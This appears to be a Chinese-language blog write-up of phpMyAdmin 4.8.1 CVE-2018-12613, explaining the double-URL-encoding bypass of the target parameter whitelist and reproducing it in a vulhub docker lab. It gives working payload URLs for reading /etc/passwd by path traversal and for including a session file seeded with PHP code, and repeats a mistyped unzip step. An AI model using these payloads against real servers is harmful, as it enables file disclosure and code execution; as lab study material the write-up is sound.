phpmyadmin 4.8.1 (CVE-2018-12613)

簡介

phpMyAdmin是一套開源的、基於Web的MySQL數據庫管理工具。其index.php中存在一處文件包含邏輯,通過二次編碼即可繞過檢查,造成遠程文件包含漏洞。

影響版本

phpMyAdmin 4.8.0和4.8.1

漏洞分析

我們先下載源碼

wget https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip

進行解壓

nzip phpMyAdmin-4.8.1-all-languages.zip  

進行解壓

nzip phpMyAdmin-4.8.1-all-languages.zip  

/index.php裏面if區間一共有五個判斷:

  1. 是否存在target參數
  2. target參數是否爲字符串
  3. 值不能以index開頭
  4. 值不能出現在$target_blacklist內
  5. Core類的checkPageValidity方法判斷

如果通過判斷則包含參數所指定的文件。

前幾個判斷可以忽略,重要的是後面兩個判斷,先看第一個

$target_blacklist中的數組爲import.php 和 export.php,只要target的值不是這兩個就可以

我們看下一個判斷

首先找到Core類的checkPageValidity函數:

缺陷在urldecode() 我們可以利用這個函數繞過白名單檢測,只要把 ? 兩次url編碼爲 %253f 即可繞過驗證

漏洞復現

這裏我們用vulhub和docker快速搭建環境

cd vulhub/phpmyadmin/CVE-2018-12613

docker-compose up -d

打開http:your-ip:8080即可看到phpmyadmin頁面

http://192.168.20.128:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

可見/etc/passwd被讀取,說明文件包含漏洞存在:

我們還可以這樣利用,執行SELECT '<?php phpinfo()?>';

然後查看自己的sessionid(cookie中phpMyAdmin的值)

然後訪問http://192.168.20.128:8080/?target=db_sql.php%253f/../../../../../../../../tmp/sess_d776555732fe90dc7d50b31137c0cc1e包含session文件即可

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章